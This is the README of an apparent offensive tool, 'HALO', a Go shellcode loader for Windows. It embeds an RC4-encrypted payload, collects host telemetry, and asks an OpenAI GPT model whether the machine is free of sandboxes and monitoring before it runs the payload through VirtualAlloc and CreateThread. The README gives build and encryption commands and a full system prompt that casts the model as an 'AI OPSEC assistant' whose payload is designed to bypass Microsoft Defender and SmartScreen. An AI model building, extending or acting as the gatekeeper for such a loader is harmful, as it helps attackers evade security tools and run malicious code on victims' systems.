*Under Construction....the dev branch is a lot more fun but things break sometimes.

HALO — Hybrid Autonomous Logic Operator

HALO is a Windows-focused research framework that demonstrates conditional execution of encrypted payloads based on AI-assisted telemetry evaluation. The system integrates host environment analysis with OpenAI GPT models to determine whether an embedded payload should be executed. Payloads are encrypted, embedded at build time, and executed inline through Windows API calls.

---

Design Overview

HALO consists of four major subsystems:

1. Telemetry
   Collects runtime host data such as process information, parent process, system uptime, idle metrics, and device states. Establishes a baseline snapshot and compares subsequent samples to detect deviations or suspicious conditions.

2. AI Decision Engine
   Sends structured telemetry data to an OpenAI GPT model with a system prompt describing decision rules. The AI responds with JSON containing:

   • allow (boolean) — whether execution should proceed
   • reason (string) — justification for the decision
   • confidence (float, 0.0–1.0) — estimated confidence

3. Payload Encryption / Embedding
   Payloads are pre-encrypted using RC4. Both the encrypted payload (loader_encrypted.bin) and key (key.txt) are embedded directly into the Go binary at compile time via //go:embed. No external files are required at runtime.

4. Shellcode Execution
   If AI conditions are met, the shellcode is decrypted, allocated in executable memory via VirtualAlloc, written in place, and executed in a new thread with CreateThread. The host blocks on execution using WaitForSingleObject.

DEMO

Requirements

• Go 1.24 or newer
• OpenAI API key (OPENAI_API_KEY environment variable)
• Windows target environment (x86-64)

---

Build Process

HALO is intended for Windows (x86-64). Cross-compilation from Linux requires MinGW:

go mod init halo
go mod tidy
CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc GOOS=windows GOARCH=amd64 go build -o halo.exe ./main.go

During build:

Be sure to place loader_encrypted.bin and key.txt (in shellcode/) as they are embedded into the binary as byte slices.

Payload Encryption Utility (enc.go) The enc.go utility transforms a raw payload into the format consumed by HALO.

go build -o encryptor enc.go
./encryptor <input_payload.bin> <key.txt> <output_encrypted.bin>

Runtime Behavior

Initialization

• The program initializes logging and verifies the OPENAI_API_KEY environment variable.

Baseline Collection

• The telemetry subsystem records process and system state, storing a baseline for later comparison.

Decision Loop

1. A telemetry sample is collected.
2. Telemetry is serialized to JSON and sent to the GPT model with the system prompt.
3. The model’s response is parsed.
4. Execution proceeds only if:
   • allow = true
   • confidence ≥ 0.8

Decryption and Execution

• The embedded payload is decrypted with RC4 using the embedded key.
• Memory is allocated with VirtualAlloc (MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE).
• Shellcode is copied into the allocated region.
• CreateThread is invoked with the shellcode entrypoint.
• Execution is blocked until completion via WaitForSingleObject.

Customization

Model Selection & Prompt

• Modify the model string in ai/ai.go (default: gpt-4.1-mini).
• Modify the Prompt in ai/ai.go

const systemPrompt = `
You are an AI OPSEC assistant analyzing telemetry from a host machine.
Your goal is to decide whether it is safe to execute a sensitive payload.

Rules:
- Carefully examine all telemetry fields: processes, drivers, USB, uptime, logons, idle time, active window, working hours and show all metrics.
- Windows Defender and SmartScreen are considered baseline and expected in most environments.
- The payload and execution method are specifically designed to bypass Microsoft Defender and SmartScreen.
- Presence of ONLY Microsoft Defender/SmartScreen is NOT a reason to block execution.
- Consider deviations from baseline, monitoring tools, or sandbox artifacts as unsafe.
- If unsafe, respond with: {"allow": false, "reason": "...", "conf": 0.xx}
- If safe, respond with: {"allow": true, "reason": "...", "conf": 0.xx}
- Confidence ("conf") is a float between 0 and 1.
- Only output JSON. Do not add commentary.
`

Confidence Threshold

• Adjust the conditional check in main.go to change the minimum required confidence value.

Telemetry Signals

• Extend telemetry.go to collect additional host environment attributes as needed.

Payload Replacement

• Generate a new loader_encrypted.bin and key.txt with enc.go, then rebuild the project.